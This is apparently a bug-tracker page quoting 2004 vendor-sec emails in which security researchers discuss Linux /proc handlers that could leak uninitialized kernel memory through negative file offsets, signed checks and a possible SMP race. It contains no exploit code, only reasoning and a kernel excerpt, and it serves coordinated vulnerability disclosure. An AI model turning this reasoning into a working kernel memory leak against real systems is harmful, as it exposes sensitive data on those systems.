>Tom
>
>    [ Part 2, "Digital signature"  Application/PGP-SIGNATURE  196bytes. ]
>    [ Unable to print this part. ]
>
>
>From ihaquer@isec.pl Mon Jun 28 08:34:03 2004
>Date: Wed, 26 May 2004 10:41:23 +0200 (CEST)
>From: Paul Starzetz <ihaquer@isec.pl>
>To: vendor-sec <vendor-sec@lst.de>
>Cc: security@isec.pl
>Subject: Re: [vendor-sec] Proc leaks
>
>
>I'm sorry for the wrong reply-to I obviously have used.
>If your message(s) returned, please respond to 
>
>	security@isec.pl
>
>thank you.
>
>-- 
>Paul Starzetz
>iSEC Security Research
>http://isec.pl/
>
>
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec
>
>From ihaquer@isec.pl Mon Jun 28 08:34:07 2004
>Date: Wed, 26 May 2004 16:30:33 +0200 (CEST)
>From: Paul Starzetz <ihaquer@isec.pl>
>To: Solar Designer <solar@openwall.com>
>Cc: vendor-sec <vendor-sec@lst.de>
>Subject: Re: [vendor-sec] Proc leaks
>
>On Wed, 26 May 2004, Solar Designer wrote:
>
>> Why are these not susceptible to the same attack that you describe
>> below for /proc/mtrr?  The code in generic.c: proc_file_read() appears
>> to use *ppos in a very similar way, so it too should be usable to
>> achieve a negative *ppos value.  Then the question is how to read more
>> than one page worth of uninitialized kernel memory given a negative
>> *ppos.  You use a second read from /proc/mtrr for that, relying on the
>> signedness of its sanity checks.  So if another instance of a /proc
>> handler with similar signed checks exists, it too could be used to
>> leak arbitrary amounts of uninitialized kernel memory contents.  Am I
>> on the right track with this?
>
>I can partially agree with you after having looked at the code again.
>The access to *ppos is _unsafe_ however in order to get a copy of some 
>kernel date you must:
>
>1) find a subroutine returning n>count
>2) or setting *start to something bigger than buf+count
>
>I didn't find anything like that...
>
>Another question is what happens on SMP - I see there are some possible 
>games:
>
>		if (!start) {
>			/*
>			 * For proc files that are less than 4k
>			 */
>[1]			start = page + *ppos;
>[2]			n -= *ppos;
>			if (n <= 0)
>				break;
>			if (n > count)
>				n = count;
>		}
>
>timing the two threads well, it could be possible to use one value for [1] 
>and another for [2] and therefore read kernel mem through any /proc entry 
>using the proc_file_read wrapper.
>
>
>-- 
>Paul Starzetz
>iSEC Security Research
>http://isec.pl/
>
>
>_______________________________________________
>Vendor Security mailing list
>Vendor Security@lst.de
>https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec

Actions: View

Attachments on bug 56074: 21716 | 21755 | 21757 | 21767